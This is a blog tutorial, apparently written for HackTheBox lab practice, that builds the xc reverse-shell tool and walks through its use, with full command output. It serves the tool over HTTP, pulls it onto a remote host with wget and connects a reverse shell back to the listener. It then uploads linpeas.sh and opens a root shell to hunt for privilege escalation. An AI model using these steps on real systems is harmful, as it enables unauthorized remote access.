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nihilist - 02 / 06 / 2021

xc Setup

Introduction :



xc is an alternative improvement to the netcat utility that was made by xct one of the top hackthebox users, it was written in golang and allows for a whole range of options like uploading, downloading, port local/remote port forwarding, or just spawning a shell on the remote server.

Installation




[ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon]
→ sudo apt install golang-go

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon]
→ git clone https://github.com/xct/xc ; cd xc

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon]
→ go version
go version go1.15.9 linux/amd64

We first need go version 1.15+ to be able to compile the xc binary, then clone the xc repository, then we follow the setup steps on the README.md:


[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ go get golang.org/x/sys/...

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ go get golang.org/x/text/encoding/unicode

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ go get github.com/hashicorp/yamux

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ go get github.com/ropnop/go-clr
package github.com/ropnop/go-clr: build constraints exclude all Go files in /home/nothing/go/src/github.com/ropnop/go-clr

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ pip3 install donut-shellcode
Collecting donut-shellcode
  Downloading donut-shellcode-0.9.2.tar.gz (149 kB)
     |████████████████████████████████| 149 kB 2.0 MB/s
Building wheels for collected packages: donut-shellcode
  Building wheel for donut-shellcode (setup.py) ... done
  Created wheel for donut-shellcode: filename=donut_shellcode-0.9.2-cp39-cp39-linux_x86_64.whl size=56786 sha256=0e6037e945da6f8496c98bdb849a13ca84339af1ef50166a7480d6477d9729b8
  Stored in directory: /home/nothing/.cache/pip/wheels/ac/72/45/1a77c4737812b5635cd958224c0ff623ebcef62c15ef083bab
Successfully built donut-shellcode
Installing collected packages: donut-shellcode
Successfully installed donut-shellcode-0.9.2

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ sudo apt install rlwrap upx -y

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ make

Basic Usage




[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ ls -lash | grep xc
1.3M -rwxr-xr-x  1 nothing nothing 1.3M May 30 14:03 xc
3.2M -rwxr-xr-x  1 nothing nothing 3.2M May 30 14:03 xc.exe
4.0K -rw-r--r--  1 nothing nothing 2.7K May 30 14:03 xc.go

[ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc]
→ file xc xc.exe xc.go
xc:     ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), statically linked, no section header
xc.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
xc.go:  C source, ASCII text

So now we successfully compiled xc for both linux and windows, let's test the linux version on a remote host:


[ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc]
→ ls -lash | grep xc
1.3M -rwxr-xr-x  1 nothing nothing 1.3M May 30 14:03 xc
3.2M -rwxr-xr-x  1 nothing nothing 3.2M May 30 14:03 xc.exe
4.0K -rw-r--r--  1 nothing nothing 2.7K May 30 14:03 xc.go

[ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

Now from the remote host we download the compiled binary file:


root@home:/tmp# which wget curl
/usr/bin/wget
/usr/bin/curl

root@home:/tmp# wget http://10.0.0.10:9090/xc -O /tmp/xc
--2021-06-02 13:52:14--  http://10.0.0.10:9090/xc
Connecting to 10.0.0.10:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1298072 (1.2M) [application/octet-stream]
Saving to: ‘/tmp/xc’

/tmp/xc                                       100%[===============================================================================================>]   1.24M  --.-KB/s    in 0.1s

2021-06-02 13:52:14 (11.4 MB/s) - ‘/tmp/xc’ saved [1298072/1298072]

Now that xc is on both machines, let's start to use it:


[ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc]
→ ./xc
Usage:
- Client: xc ip port
- Server: xc -l -p port

[ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc]
→ ./xc -l -p 9003


                __  _____
                \ \/ / __|
                >  < (__
                /_/\_\___| by @xct_de
                           build: QUnVVFdLYEkibcKx

2021/06/02 13:54:35 Listening on :9003
2021/06/02 13:54:35 Waiting for connections...

Now that our local host is listening on port 9003, let's go on the remote host to send the reverse shell connection on our local port:



root@home:/tmp# ./xc
Usage:
- Client: xc ip port
- Server: xc -l -p port
root@home:/tmp# ./xc 10.0.0.10 9003
2021/06/02 13:57:30 Connected to 10.0.0.10:9003

Back to our local host we see that we catched the incoming reverse shell connection:


[ 10.10.14.13/23 ] [ /dev/pts/76 ] [HTB/Servmon/xc]
→ ./xc -l -p 9003

                __  _____
                \ \/ / __|
                >   (__
                /_/\_\___| by @xct_de
                           build: QUnVVFdLYEkibcKx

2021/06/02 13:54:35 Listening on :9003
2021/06/02 13:54:35 Waiting for connections...
2021/06/02 13:57:45 Connection from 10.0.0.101:36398
2021/06/02 13:57:45 Stream established

[*] Auto-Plugins:
[xc: /tmp]: !help
Usage:
└ Shared Commands:  !exit
  !upload src dst
   * uploads a file to the target
  !download src dst
   * downloads a file from the target
  !lfwd localport remoteaddr remoteport
   * local portforwarding (like ssh -L)
  !rfwd remoteport localaddr localport
   * remote portforwarding (like ssh -R)
  !lsfwd
   * lists active forwards
  !rmfwd index
   * removes forward by index
  !plugins
   * lists available plugins
  !plugin plugin
   * execute a plugin
  !spawn port
   * spawns another client on the specified port
  !shell
   * runs /bin/sh
  !runas username password domain
   * restart xc with the specified user
  !met port
   * connects to a x64/meterpreter/reverse_tcp listener
  !restart
   * restarts the xc client
└ OS Specific Commands:
 !ssh port
   * starts sshd with the configured keys on the specified port

Now from here we can do things like sending a file to scan the system for privilege escalation paths like linpeas.sh to do that, we simply put the script inside the directory where we started the xc listener, and we use the !upload function:


[ 10.10.14.13/23 ] [ /dev/pts/77 ] [HTB/Servmon/xc]
→ locate linpeas.sh
/home/nothing/HTB/Admirer/linpeas.sh
/home/nothing/HTB/OpenAdmin/linpeas.sh
/home/nothing/HTB/Postman/linpeas.sh
/home/nothing/HTB/Traverxec/linpeas.sh
/home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh

[ 10.10.14.13/23 ] [ /dev/pts/77 ] [HTB/Servmon/xc]
→ cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh .

[xc: /tmp]: !upload linpeas.sh /tmp/linpeas.sh
[+] Upload complete

And then we simply spawn a shell with the !shell function:


[xc: /tmp]: !shell

root@home:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)

root@home:/tmp# chmod +x /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh

root@home:/tmp# /tmp/linpeas.sh

And that's basically how you scan a box for privesc paths. Linpeas.sh is going to scan for every tangible privilege escalation paths on the machine and use colors to display which information may be important.

This can also be done on windows with winPEAS, you can check that out on the easy ServMon HTB box machine i made a writeup for.

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